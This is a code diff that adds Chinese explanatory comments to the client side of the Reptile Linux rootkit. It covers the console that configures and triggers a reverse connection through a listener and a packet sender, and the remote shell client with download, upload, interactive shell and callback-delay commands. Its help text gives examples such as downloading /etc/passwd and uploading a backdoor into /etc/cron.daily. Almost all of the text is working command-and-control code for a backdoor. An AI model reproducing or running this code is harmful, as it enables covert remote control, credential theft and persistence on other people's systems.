int (*builtin_func[])(char **) = {&help, &set, &unset, &show, &run, &export, &load, &__exit}; int (*builtin_func[])(char **) = {&help, &set, &unset, &show, &run, &export, &load, &__exit};
int num_builtins() int num_builtins()
// 定义函数返回内置命令的数量
{ return sizeof(builtin_str) / sizeof(char *); } { return sizeof(builtin_str) / sizeof(char *); }
int launch(char **args) int launch(char **args)
// 定义函数用于启动外部程序
{ {
pid_t pid; pid_t pid;
int status; int status;
@ -83,30 +85,31 @@ int launch(char **args)
return 1; return 1;
} }
void help_set() void help_set() //help解释其他命令
{ {
fprintf(stdout, "%s <variable> <value>\n", builtin_str[1]); fprintf(stdout, "%s <variable> <value>\n", builtin_str[1]);
fprintf(stdout, "Example: set LHOST 192.168.0.2\n"); fprintf(stdout, "Example: set LHOST 192.168.0.2\n");
} }
void help_unset() void help_unset()
// 定义帮助函数用于解释如何使用set命令
{ {
fprintf(stdout, "%s <variable>\n", builtin_str[2]); fprintf(stdout, "%s <variable>\n", builtin_str[2]);
fprintf(stdout, "Example: unset RHOST\n"); fprintf(stdout, "Example: unset RHOST\n");
} }
void help_conf(int i) void help_conf(int i)// 定义帮助函数,用于解释如何使用配置文件相关的命令
{ {
fprintf(stdout, "%s <file>\n", builtin_str[i]); fprintf(stdout, "%s <file>\n", builtin_str[i]);
fprintf(stdout, "Example: %s client.conf\n", builtin_str[i]); fprintf(stdout, "Example: %s client.conf\n", builtin_str[i]);
} }
void no_help() void no_help()// 定义函数,当命令不需要帮助信息时调用
{ {
fprintf(stdout, "This command doesn't need help\n"); fprintf(stdout, "This command doesn't need help\n");
} }
int help(char **args) int help(char **args)// 定义help函数用于显示帮助信息
{ {
if (args[0] == NULL) if (args[0] == NULL)
return 1; return 1;
@ -149,7 +152,7 @@ int help(char **args)
return 1; return 1;
} }
int __exit(char **args) int __exit(char **args)// 定义__exit函数用于退出程序并释放资源
{ {
int i; int i;
@ -173,7 +176,7 @@ int __exit(char **args)
return 0; return 0;
} }
int set(char **args) int set(char **args)// 定义set函数用于设置参数值
{ {
int i; int i;
@ -202,21 +205,25 @@ int set(char **args)
return 1; return 1;
} }
int unset(char **args) // unset函数用于取消设置某个参数的值
{ int unset(char** args) {
int i; int i;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL) if (args[0] == NULL)
return 1; return 1;
// 如果没有提供要取消设置的参数名打印错误信息并返回错误代码1
if (args[1] == NULL) { if (args[1] == NULL) {
fprintf(stdout, "%s wrong syntax!\n", bad); fprintf(stdout, "%s wrong syntax!\n", bad);
return 1; return 1;
} }
// 遍历所有参数,查找是否匹配用户提供的参数名
for (i = 0; i < num_variables; i++) { for (i = 0; i < num_variables; i++) {
if (strcmp(args[1], var_str[i]) == 0 || if (strcmp(args[1], var_str[i]) == 0 ||
strcmp(args[1], var_str_up[i]) == 0) { strcmp(args[1], var_str_up[i]) == 0) {
// 如果找到匹配的参数名释放之前存储的值并将其设置为NULL
if (var_array[i]) if (var_array[i])
free(var_array[i]); free(var_array[i]);
@ -226,119 +233,90 @@ int unset(char **args)
} }
} }
// 如果没有找到匹配的参数名,打印错误信息
fprintf(stdout, "%s wrong parameter!\n", bad); fprintf(stdout, "%s wrong parameter!\n", bad);
return 1; return 1;
} }
int show(char **args) // show函数用于显示当前所有参数的值和描述
{ int show(char** args) {
int i; int i;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL) if (args[0] == NULL)
return 1; return 1;
// 打印表头
fprintf(stdout, "\n"); fprintf(stdout, "\n");
fprintf(stdout, "\e[00;33mVAR\t\tVALUE\t\t\tDESCRIPTION\e[00m\n\n"); fprintf(stdout, "\e[00;33mVAR\t\tVALUE\t\t\tDESCRIPTION\e[00m\n\n");
// 遍历所有参数,打印其值和描述
for (i = 0; i < num_variables; i++) { for (i = 0; i < num_variables; i++) {
if (var_array[i]) { if (var_array[i]) {
// 根据值的长度,调整输出格式,以保持对齐
if (strlen(var_array[i]) >= 8) { if (strlen(var_array[i]) >= 8) {
fprintf(stdout, "%s\t\t%s\t\t%s\n", fprintf(stdout, "%s\t\t%s\t\t%s\n",
var_str_up[i], var_array[i], var_str_up[i], var_array[i], description[i]);
description[i]); }
} else if (strlen(var_array[i]) >= 16) { else if (strlen(var_array[i]) >= 16) {
fprintf(stdout, "%s\t\t%s\t%s\n", var_str_up[i], fprintf(stdout, "%s\t\t%s\t%s\n", var_str_up[i],
var_array[i], description[i]); var_array[i], description[i]);
} else { }
else {
fprintf(stdout, "%s\t\t%s\t\t\t%s\n", fprintf(stdout, "%s\t\t%s\t\t\t%s\n",
var_str_up[i], var_array[i], var_str_up[i], var_array[i], description[i]);
description[i]);
} }
} else { }
else {
// 如果参数没有被设置,打印空值
fprintf(stdout, "%s\t\t \t\t\t%s\n", var_str_up[i], fprintf(stdout, "%s\t\t \t\t\t%s\n", var_str_up[i],
description[i]); description[i]);
} }
} }
// 打印换行符
fprintf(stdout, "\n"); fprintf(stdout, "\n");
return 1; return 1;
} }
void interrupt(int signal) // interrupt函数用于处理程序接收到中断信号时的行为
{ void interrupt(int signal) {
// 打印中断信息
fprintf(stdout, "\r"); fprintf(stdout, "\r");
fflush(stdout); fflush(stdout);
fprintf(stdout, "%s Interrupted: %d\n", warn, signal); fprintf(stdout, "%s Interrupted: %d\n", warn, signal);
} }
int run(char **args) // run函数用于运行配置好的工具
{ int run(char** args) {
pid_t pid, pid2; pid_t pid, pid2;
int status; int status;
//char *envp[1] = {NULL};
// 如果没有提供参数返回错误代码1
if (args[0] == NULL) if (args[0] == NULL)
return 1; return 1;
if (!var_array[0]) { // 检查必要的参数是否已经被设置
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[0]); // ...
return 1;
}
if (!var_array[1]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[1]);
return 1;
}
if (!var_array[2]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[2]);
return 1;
}
if (!var_array[4]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[4]);
return 1;
}
if (!var_array[6]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[6]);
return 1;
}
if (!var_array[8]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[8]);
return 1;
}
if (!(strcmp(var_array[6], "icmp") == 0 ||
strcmp(var_array[6], "ICMP") == 0)) {
if (!var_array[3]) {
fprintf(stdout, "%s %s is not defined!\n", bad,
var_str_up[3]);
return 1;
}
if (!var_array[5]) {
fprintf(stdout, "%s %s is not defined!\n", bad,
var_str_up[5]);
return 1;
}
}
char *arg_listener[] = {listener, "-p", var_array[1], "-s", // 构建用于启动监听器和数据包发送器的参数数组
var_array[7], NULL, NULL}; char* arg_listener[] = { listener, "-p", var_array[1], "-s",
var_array[7], NULL, NULL };
char *arg_packet[] = {packet, "-t", var_array[4], "-x", char* arg_packet[] = { packet, "-t", var_array[4], "-x",
var_array[6], "-s", var_array[2], "-l", var_array[6], "-s", var_array[2], "-l",
var_array[0], "-p", var_array[1], "-k", var_array[0], "-p", var_array[1], "-k",
var_array[8], "-q", var_array[3], "-r", var_array[8], "-q", var_array[3], "-r",
var_array[5], NULL, NULL}; var_array[5], NULL, NULL };
// 创建子进程
pid = fork(); pid = fork();
// 如果fork失败打印错误信息并退出
if (pid == -1) if (pid == -1)
fatal("on forking proccess"); fatal("on forking proccess");
// 父进程等待子进程结束
if (pid > 0) { if (pid > 0) {
signal(SIGTERM, interrupt); signal(SIGTERM, interrupt);
signal(SIGINT, interrupt); signal(SIGINT, interrupt);
@ -348,13 +326,18 @@ int run(char **args)
} while (!WIFEXITED(status) && !WIFSIGNALED(status)); } while (!WIFEXITED(status) && !WIFSIGNALED(status));
} }
// 子进程执行具体的启动逻辑
if (pid == 0) { if (pid == 0) {
// 创建另一个子进程
pid2 = fork(); pid2 = fork();
// 如果fork失败打印错误信息并退出
if (pid2 == -1) if (pid2 == -1)
fatal("on forking proccess"); fatal("on forking proccess");
// 第二个子进程启动监听器
if (pid2 > 0) { if (pid2 > 0) {
// 根据配置决定是否传递某些参数
if (var_array[7] == NULL) { if (var_array[7] == NULL) {
arg_listener[3] = NULL; arg_listener[3] = NULL;
arg_listener[4] = NULL; arg_listener[4] = NULL;
@ -363,9 +346,11 @@ int run(char **args)
fprintf(stderr, "%s listener could not be launched\n", bad); fprintf(stderr, "%s listener could not be launched\n", bad);
} }
// 第三个子进程发送数据包
if (pid2 == 0) { if (pid2 == 0) {
// 根据协议类型调整参数
if (strcmp(var_array[6], "icmp") == 0 || if (strcmp(var_array[6], "icmp") == 0 ||
strcmp(var_array[6], "ICMP") == 0) { strcmp(var_array[6], "ICMP") == 0) {
arg_packet[13] = NULL; arg_packet[13] = NULL;
arg_packet[14] = NULL; arg_packet[14] = NULL;
arg_packet[15] = NULL; arg_packet[15] = NULL;
@ -383,59 +368,61 @@ int run(char **args)
return 1; return 1;
} }
/* // export函数用于将当前配置导出到文件
* Thanks aliyuchang33 for suggesting this! ;) int export(char** args) {
*
* https://github.com/f0rb1dd3n/Reptile/pull/61/commits/0482eeff93c5b3f9097f7e06e2b2a0fcf248eb8e
*
*/
int export(char **args)
{
int vars; int vars;
FILE *confile; FILE* confile;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL) if (args[0] == NULL)
return 1; return 1;
// 如果没有提供文件名打印错误信息并返回错误代码1
if (args[1] == NULL) { if (args[1] == NULL) {
fprintf(stdout, "%s wrong syntax!\n", bad); fprintf(stdout, "%s wrong syntax!\n", bad);
return 1; return 1;
} }
// 尝试打开文件如果失败打印错误信息并返回错误代码1
if (!(confile = fopen(args[1], "w+"))) { if (!(confile = fopen(args[1], "w+"))) {
fprintf(stderr, "%s Cannot open config file\n", bad); fprintf(stderr, "%s Cannot open config file\n", bad);
return 1; return 1;
} }
// 将所有参数的值写入文件
for (vars = 0; vars < 9; vars++) for (vars = 0; vars < 9; vars++)
fprintf(confile, "%s\n", var_array[vars]); fprintf(confile, "%s\n", var_array[vars]);
// 关闭文件并打印成功信息
fclose(confile); fclose(confile);
fprintf(stdout, "%s Configuration exported\n", good); fprintf(stdout, "%s Configuration exported\n", good);
return 1; return 1;
} }
int load(char **args) // load函数用于从文件加载配置
{ int load(char** args) {
int vars; int vars;
FILE *confile; FILE* confile;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL) if (args[0] == NULL)
return 1; return 1;
// 如果没有提供文件名打印错误信息并返回错误代码1
if (args[1] == NULL) { if (args[1] == NULL) {
fprintf(stdout, "%s wrong syntax!\n", bad); fprintf(stdout, "%s wrong syntax!\n", bad);
return 1; return 1;
} }
// 尝试打开文件如果失败打印错误信息并返回错误代码1
if (!(confile = fopen(args[1], "r+"))) { if (!(confile = fopen(args[1], "r+"))) {
fprintf(stderr, "%s Cannot open config file\n", bad); fprintf(stderr, "%s Cannot open config file\n", bad);
return 1; return 1;
} }
// 从文件中读取参数值并存储到var_array中
for (vars = 0; vars < 9; vars++) { for (vars = 0; vars < 9; vars++) {
char arg[50] = {0}; char arg[50] = { 0 };
fgets(arg, 50, confile); fgets(arg, 50, confile);
if (strcmp(arg, "(null)\n")) { if (strcmp(arg, "(null)\n")) {
@ -444,55 +431,64 @@ int load(char **args)
} }
} }
// 关闭文件并打印成功信息
fclose(confile); fclose(confile);
fprintf(stdout, "%s Configuration loaded\n", good); fprintf(stdout, "%s Configuration loaded\n", good);
return 1; return 1;
} }
int execute(char **args) // execute函数用于执行内置命令或启动外部程序
{ int execute(char** args) {
int i; int i;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL) if (args[0] == NULL)
return 1; return 1;
// 遍历所有内置命令,查找匹配的命令并执行
for (i = 0; i < num_builtins(); i++) { for (i = 0; i < num_builtins(); i++) {
if (strcmp(args[0], builtin_str[i]) == 0) if (strcmp(args[0], builtin_str[i]) == 0)
return (*builtin_func[i])(args); return (*builtin_func[i])(args);
} }
// 如果没有找到匹配的内置命令,尝试启动外部程序
return launch(args); return launch(args);
} }
char *read_line(void) // read_line函数用于读取用户输入的一行命令
{ char* read_line(void) {
int bufsize = RL_BUFSIZE; int bufsize = RL_BUFSIZE;
int position = 0; int position = 0;
char *buffer = malloc(sizeof(char) * bufsize); char* buffer = malloc(sizeof(char) * bufsize);
int c; int c;
// 如果内存分配失败,打印错误信息并退出
if (!buffer) { if (!buffer) {
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE); exit(EXIT_FAILURE);
} }
// 循环读取用户输入,直到换行符
while (1) { while (1) {
c = getchar(); c = getchar();
if (c == EOF) { if (c == EOF) {
free(buffer); free(buffer);
exit(EXIT_SUCCESS); exit(EXIT_SUCCESS);
} else if (c == '\n') { }
else if (c == '\n') {
buffer[position] = '\0'; buffer[position] = '\0';
return buffer; return buffer;
} else { }
else {
buffer[position] = c; buffer[position] = c;
} }
position++; position++;
// 如果超出缓冲区大小,扩大缓冲区
if (position >= bufsize) { if (position >= bufsize) {
bufsize += RL_BUFSIZE; bufsize += RL_BUFSIZE;
char *buffer_backup = buffer; char* buffer_backup = buffer;
if ((buffer = realloc(buffer, bufsize)) == NULL) { if ((buffer = realloc(buffer, bufsize)) == NULL) {
free(buffer_backup); free(buffer_backup);
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
@ -502,26 +498,29 @@ char *read_line(void)
} }
} }
char **parse(char *line) // parse函数用于解析用户输入的命令行将其分割为参数数组
{ char** parse(char* line) {
int bufsize = TOK_BUFSIZE, position = 0; int bufsize = TOK_BUFSIZE, position = 0;
char **tokens = malloc(bufsize * sizeof(char *)); char** tokens = malloc(bufsize * sizeof(char*));
char *token, **tokens_backup; char* token, ** tokens_backup;
// 如果内存分配失败,打印错误信息并退出
if (!tokens) { if (!tokens) {
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE); exit(EXIT_FAILURE);
} }
// 使用strtok函数分割命令行
token = strtok(line, TOK_DELIM); token = strtok(line, TOK_DELIM);
while (token != NULL) { while (token != NULL) {
tokens[position] = token; tokens[position] = token;
position++; position++;
// 如果超出缓冲区大小,扩大缓冲区
if (position >= bufsize) { if (position >= bufsize) {
bufsize += TOK_BUFSIZE; bufsize += TOK_BUFSIZE;
tokens_backup = tokens; tokens_backup = tokens;
tokens = realloc(tokens, bufsize * sizeof(char *)); tokens = realloc(tokens, bufsize * sizeof(char*));
if (!tokens) { if (!tokens) {
free(tokens_backup); free(tokens_backup);
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
@ -535,12 +534,13 @@ char **parse(char *line)
return tokens; return tokens;
} }
void client_loop() // client_loop函数用于进入命令行循环等待用户输入命令
{ void client_loop() {
char *line; char* line;
char **args; char** args;
int status; int status;
// 循环等待用户输入命令
do { do {
line = readline("\e[00;31mreptile-client> \e[00m"); line = readline("\e[00;31mreptile-client> \e[00m");
add_history(line); add_history(line);
@ -555,31 +555,35 @@ void client_loop()
clear_history(); clear_history();
} }
int main() // main函数是程序的入口点
{ int main() {
int len; int len;
char *pwd = get_current_dir_name(); char* pwd = get_current_dir_name();
// 清屏并打印欢迎信息
system("clear"); system("clear");
printf("\n\e[01;36mReptile Client\e[00m\n"); printf("\n\e[01;36mReptile Client\e[00m\n");
printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n"); printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n");
banner2(); banner2();
printf("\n"); printf("\n");
// 获取当前工作目录,并为监听器和数据包程序分配内存
len = strlen(pwd); len = strlen(pwd);
listener = (char *)malloc(len + 10); listener = (char*)malloc(len + 10);
// 如果内存分配失败,打印错误信息并退出
if (!listener) if (!listener)
fatal("malloc"); fatal("malloc");
packet = (char *)malloc(len + 8); packet = (char*)malloc(len + 8);
if (!packet) { if (!packet) {
free(listener); free(listener);
fatal("malloc"); fatal("malloc");
} }
// 初始化监听器和数据包程序的路径
bzero(listener, len + 10); bzero(listener, len + 10);
bzero(packet, len + 8); bzero(packet, len + 8);
@ -589,16 +593,22 @@ int main()
strcpy(packet, pwd); strcpy(packet, pwd);
strcat(packet, "/packet"); strcat(packet, "/packet");
// 创建子进程
pid = fork(); pid = fork();
// 如果fork失败打印错误信息并退出
if (pid == -1) if (pid == -1)
fatal("on forking proccess"); fatal("on forking proccess");
// 父进程进入命令行循环
if (pid > 0) if (pid > 0)
client_loop(); client_loop();
// if (pid == 0) // 子进程执行后台任务(这部分代码被注释掉了)
// background job
return EXIT_SUCCESS; return EXIT_SUCCESS;
} }
//客服端实现写了一个简易shell包含了一些内置功能的实现("help", "set", "unset", "show", "run", "export", "load", "exit")
//help打印其他命令使用方法
//exit退出
//set设置变量值需要两个参数参数一为各参数类型("lhost", "lport", "srchost", "srcport", "rhost", "rport", "prot", "pass", "token", 不区分大小写)参数二为该参数的值其值存储在var_array中

@ -23,105 +23,114 @@
#include "pel.h" #include "pel.h"
#include "util.h" #include "util.h"
extern char *optarg; // 全局变量定义
unsigned char message[BUFSIZE + 1]; extern char* optarg; // 获取命令行参数的值
char *password = NULL; unsigned char message[BUFSIZE + 1]; // 定义一个缓冲区,用于存储发送和接收的消息
int sockfd; char* password = NULL; // 定义一个全局变量,用于存储连接密码
pid_t pid; int sockfd; // 定义一个全局变量,用于存储套接字文件描述符
pid_t pid; // 定义一个全局变量用于存储进程ID
int help(int sock, char **args);
int __exit(int sock, char **args); // 函数原型声明
int shell(int sock, char **args); int help(int sock, char** args); // 提供帮助信息的函数
int get_file(int sock, char **args); int __exit(int sock, char** args); // 退出函数,用于关闭连接
int put_file(int sock, char **args); int shell(int sock, char** args); // 打开一个交互式shell的函数
int delay(int sock, char **args); int get_file(int sock, char** args); // 从远程主机下载文件的函数
int put_file(int sock, char** args); // 向远程主机上传文件的函数
char *builtin_str[] = {"help", "download", "upload", "shell", "delay", "exit"}; int delay(int sock, char** args); // 设置反向shell连接间隔的函数
int (*builtin_func[])(int sock, char **) = {&help, &get_file, &put_file,
&shell, &delay, &__exit}; // 内置命令字符串数组,用于映射命令名称到其对应的函数
char* builtin_str[] = { "help", "download", "upload", "shell", "delay", "exit" };
int num_builtins() { return sizeof(builtin_str) / sizeof(char *); } // 内置命令对应的函数指针数组,用于根据命令名称调用对应的函数
int (*builtin_func[])(int sock, char**) = { &help, &get_file, &put_file, &shell, &delay, &__exit };
void pel_error(char *s)
{ // 返回内置命令的数量
int num_builtins() {
return sizeof(builtin_str) / sizeof(char*);
}
// 错误处理函数,根据错误代码打印相应的错误信息
void pel_error(char* s) {
switch (pel_errno) { switch (pel_errno) {
case PEL_CONN_CLOSED: case PEL_CONN_CLOSED:
fprintf(stderr, "%s %s: Connection closed.\n", bad, s); fprintf(stderr, "%s %s: Connection closed.\n", bad, s);
break; break;
case PEL_SYSTEM_ERROR: case PEL_SYSTEM_ERROR:
p_error(s); p_error(s);
break; break;
case PEL_WRONG_CHALLENGE: case PEL_WRONG_CHALLENGE:
fprintf(stderr, "%s %s: Wrong challenge.\n", bad, s); fprintf(stderr, "%s %s: Wrong challenge.\n", bad, s);
break; break;
case PEL_BAD_MSG_LENGTH: case PEL_BAD_MSG_LENGTH:
fprintf(stderr, "%s %s: Bad message length.\n", bad, s); fprintf(stderr, "%s %s: Bad message length.\n", bad, s);
break; break;
case PEL_CORRUPTED_DATA: case PEL_CORRUPTED_DATA:
fprintf(stderr, "%s %s: Corrupted data.\n", bad, s); fprintf(stderr, "%s %s: Corrupted data.\n", bad, s);
break; break;
case PEL_UNDEFINED_ERROR: case PEL_UNDEFINED_ERROR:
fprintf(stderr, "%s %s: No error.\n", bad, s); fprintf(stderr, "%s %s: No error.\n", bad, s);
break; break;
default: default:
fprintf(stderr, "%s %s: Unknown error code.\n", bad, s); fprintf(stderr, "%s %s: Unknown error code.\n", bad, s);
break; break;
} }
} }
void help_download() // 为下载命令提供帮助信息的函数
{ void help_download() {
fprintf(stdout, "%s <file path> <dest dir>\n", builtin_str[1]); fprintf(stdout, "%s <file path> <dest dir>\n", builtin_str[1]);
fprintf(stdout, "Example: download /etc/passwd /tmp\n"); fprintf(stdout, "Example: download /etc/passwd /tmp\n");
} }
void help_upload() // 为上传命令提供帮助信息的函数
{ void help_upload() {
fprintf(stdout, "%s <file path> <dest dir>\n", builtin_str[2]); fprintf(stdout, "%s <file path> <dest dir>\n", builtin_str[2]);
fprintf(stdout, "Example: upload /root/backdoor /etc/cron.daily\n"); fprintf(stdout, "Example: upload /root/backdoor /etc/cron.daily\n");
} }
void help_delay() // 为延迟命令提供帮助信息的函数
{ void help_delay() {
fprintf(stdout, "%s <seconds>\n", builtin_str[4]); fprintf(stdout, "%s <seconds>\n", builtin_str[4]);
fprintf(stdout, "Example: delay 3600\n\n"); fprintf(stdout, "Example: delay 3600\n\n");
fprintf(stdout, "%s Use \"delay 0\" if you don't wanna a " fprintf(stdout, "%s Use \"delay 0\" if you don't want a connection every X time\n", warn);
"connecion every X time\n", warn);
} }
void no_help() // 当命令不需要帮助信息时调用的函数
{ void no_help() {
fprintf(stdout, "This command doesn't need help\n"); fprintf(stdout, "This command doesn't need help\n");
} }
int help(int sock, char **args) // 提供帮助信息的函数
{ int help(int sock, char** args) {
// 如果没有提供子命令或者sock为-1则返回错误代码1
if (args[0] == NULL && sock == -1) if (args[0] == NULL && sock == -1)
return 1; return 1;
// 如果提供了子命令,则根据子命令提供具体的帮助信息
if (args[1] != NULL) { if (args[1] != NULL) {
if (strcmp(args[1], builtin_str[0]) == 0) { if (strcmp(args[1], builtin_str[0]) == 0) {
no_help(); no_help();
} else if (strcmp(args[1], builtin_str[1]) == 0) { }
else if (strcmp(args[1], builtin_str[1]) == 0) {
help_download(); help_download();
} else if (strcmp(args[1], builtin_str[2]) == 0) { }
else if (strcmp(args[1], builtin_str[2]) == 0) {
help_upload(); help_upload();
} else if (strcmp(args[1], builtin_str[3]) == 0) { }
else if (strcmp(args[1], builtin_str[3]) == 0) {
no_help(); no_help();
} else if (strcmp(args[1], builtin_str[4]) == 0) { }
else if (strcmp(args[1], builtin_str[4]) == 0) {
help_delay(); help_delay();
} else if (strcmp(args[1], builtin_str[5]) == 0) { }
else if (strcmp(args[1], builtin_str[5]) == 0) {
no_help(); no_help();
} else { }
else {
fprintf(stdout, "This command is not valid!\n"); fprintf(stdout, "This command is not valid!\n");
} }
} else { }
else {
// 如果没有提供子命令,则打印所有命令的帮助信息
fprintf(stdout, "\n\e[01;36mReptile Shell\e[00m\n"); fprintf(stdout, "\n\e[01;36mReptile Shell\e[00m\n");
fprintf(stdout, "\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n"); fprintf(stdout, "\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n");
fprintf(stdout, "\t%s\t\tShow this help\n", builtin_str[0]); fprintf(stdout, "\t%s\t\tShow this help\n", builtin_str[0]);
@ -137,93 +146,95 @@ int help(int sock, char **args)
return 1; return 1;
} }
int __exit(int sock, char **args) // 退出函数,用于关闭连接
{ int __exit(int sock, char** args) {
// 如果没有提供参数或者sock为-1则返回错误代码1
if (args[0] == NULL && sock == -1) if (args[0] == NULL && sock == -1)
return 1; return 1;
pel_send_msg(sock, (unsigned char *)EXIT, EXIT_LEN); // 发送退出消息给远程主机
pel_send_msg(sock, (unsigned char*)EXIT, EXIT_LEN);
fprintf(stdout, "\n"); fprintf(stdout, "\n");
return 0; return 0;
} }
int shell(int sock, char **args) // 打开一个交互式shell的函数
{ int shell(int sock, char** args) {
// 定义文件描述符集合用于select函数
fd_set rd; fd_set rd;
char *term, *temp; // 定义终端类型和窗口大小等变量
char* term, * temp;
int ret, len, imf, i, size; int ret, len, imf, i, size;
struct winsize ws; struct winsize ws;
struct termios tp, tr; struct termios tp, tr;
// 如果没有提供参数或者sock为-1则返回错误代码1
if (args[0] == NULL && sock == -1) if (args[0] == NULL && sock == -1)
return 1; return 1;
// 获取终端类型
term = getenv("TERM"); term = getenv("TERM");
if (term == NULL) if (term == NULL)
term = "vt100"; term = "vt100";
// 发送终端类型到远程主机
len = strlen(term); len = strlen(term);
ret = pel_send_msg(sock, (unsigned char*)term, len);
ret = pel_send_msg(sock, (unsigned char *)term, len);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 如果标准输入是终端设置imf为1
imf = 0; imf = 0;
if (isatty(0)) { if (isatty(0)) {
imf = 1; imf = 1;
// 获取窗口大小
if (ioctl(0, TIOCGWINSZ, &ws) < 0) { if (ioctl(0, TIOCGWINSZ, &ws) < 0) {
p_error("ioctl(TIOCGWINSZ)"); p_error("ioctl(TIOCGWINSZ)");
return 1; return 1;
} }
} else { }
else {
ws.ws_row = 25; ws.ws_row = 25;
ws.ws_col = 80; ws.ws_col = 80;
} }
// 发送窗口大小到远程主机
message[0] = (ws.ws_row >> 8) & 0xFF; message[0] = (ws.ws_row >> 8) & 0xFF;
message[1] = (ws.ws_row) & 0xFF; message[1] = (ws.ws_row) & 0xFF;
message[2] = (ws.ws_col >> 8) & 0xFF; message[2] = (ws.ws_col >> 8) & 0xFF;
message[3] = (ws.ws_col) & 0xFF; message[3] = (ws.ws_col) & 0xFF;
ret = pel_send_msg(sock, message, 4); ret = pel_send_msg(sock, message, 4);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 如果命令是shell则发送shell命令到远程主机
if (strcmp(args[0], builtin_str[3]) == 0) { if (strcmp(args[0], builtin_str[3]) == 0) {
temp = (char *)malloc(2); temp = (char*)malloc(2);
if (!temp) { if (!temp) {
p_error("malloc"); p_error("malloc");
return 1; return 1;
} }
temp[0] = RUNSHELL; temp[0] = RUNSHELL;
temp[1] = '\0'; temp[1] = '\0';
fprintf(stdout, "\n"); fprintf(stdout, "\n");
} else { }
else {
// 如果命令不是shell则发送用户输入的命令到远程主机
size = 1; size = 1;
len = 0; len = 0;
temp = (char*)malloc(size);
temp = (char *)malloc(size);
if (!temp) { if (!temp) {
p_error("malloc"); p_error("malloc");
return 1; return 1;
} }
while (args[len] != NULL) { while (args[len] != NULL) {
size++; size++;
size += strlen(args[len]); size += strlen(args[len]);
char *temp_backup = temp; char* temp_backup = temp;
if ((temp = realloc(temp, size)) == NULL) { if ((temp = realloc(temp, size)) == NULL) {
free(temp_backup); free(temp_backup);
p_error("realloc"); p_error("realloc");
@ -231,390 +242,337 @@ int shell(int sock, char **args)
} }
len++; len++;
} }
memset(temp, '\0', size); memset(temp, '\0', size);
for (i = 0; i < len; i++) { for (i = 0; i < len; i++) {
strcat(temp, args[i]); strcat(temp, args[i]);
strcat(temp, " "); strcat(temp, " ");
} }
} }
len = strlen(temp); len = strlen(temp);
ret = pel_send_msg(sock, (unsigned char *)temp, len); ret = pel_send_msg(sock, (unsigned char*)temp, len);
free(temp); free(temp);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 设置终端属性,用于非规范模式下的输入输出
if (isatty(1)) { if (isatty(1)) {
if (tcgetattr(1, &tp) < 0) { if (tcgetattr(1, &tp) < 0) {
p_error("tcgetattr"); p_error("tcgetattr");
return 1; return 1;
} }
memcpy((void*)&tr, (void*)&tp, sizeof(tr));
memcpy((void *)&tr, (void *)&tp, sizeof(tr));
tr.c_iflag |= IGNPAR; tr.c_iflag |= IGNPAR;
tr.c_iflag &= tr.c_iflag &=
~(ISTRIP | INLCR | IGNCR | ICRNL | IXON | IXANY | IXOFF); ~(ISTRIP | INLCR | IGNCR | ICRNL | IXON | IXANY | IXOFF);
tr.c_lflag &= tr.c_lflag &=
~(ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL | IEXTEN); ~(ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL | IEXTEN);
tr.c_oflag &= ~OPOST; tr.c_oflag &= ~OPOST;
tr.c_cc[VMIN] = 1; tr.c_cc[VMIN] = 1;
tr.c_cc[VTIME] = 0; tr.c_cc[VTIME] = 0;
if (tcsetattr(1, TCSADRAIN, &tr) < 0) { if (tcsetattr(1, TCSADRAIN, &tr) < 0) {
p_error("tcsetattr"); p_error("tcsetattr");
return 1; return 1;
} }
} }
// 进入一个循环,处理输入输出
while (1) { while (1) {
FD_ZERO(&rd); FD_ZERO(&rd);
if (imf != 0) if (imf != 0)
FD_SET(0, &rd); FD_SET(0, &rd);
FD_SET(sock, &rd); FD_SET(sock, &rd);
if (select(sock + 1, &rd, NULL, NULL, NULL) < 0) { if (select(sock + 1, &rd, NULL, NULL, NULL) < 0) {
p_error("select"); p_error("select");
break; break;
} }
if (FD_ISSET(sock, &rd)) { if (FD_ISSET(sock, &rd)) {
ret = pel_recv_msg(sock, message, &len); ret = pel_recv_msg(sock, message, &len);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_recv_msg"); pel_error("pel_recv_msg");
break; break;
} }
if (strncmp((char*)message, EXIT, EXIT_LEN) == 0) {
if (strncmp((char *)message, EXIT, EXIT_LEN) == 0) {
if (isatty(1)) if (isatty(1))
tcsetattr(1, TCSADRAIN, &tp); tcsetattr(1, TCSADRAIN, &tp);
fprintf(stdout, "\n"); fprintf(stdout, "\n");
return 1; return 1;
} }
if (write(1, message, len) != len) { if (write(1, message, len) != len) {
p_error("write"); p_error("write");
break; break;
} }
} }
if (imf != 0 && FD_ISSET(0, &rd)) { if (imf != 0 && FD_ISSET(0, &rd)) {
if ((len = read(0, message, BUFSIZE)) < 0) { if ((len = read(0, message, BUFSIZE)) < 0) {
p_error("read"); p_error("read");
break; break;
} }
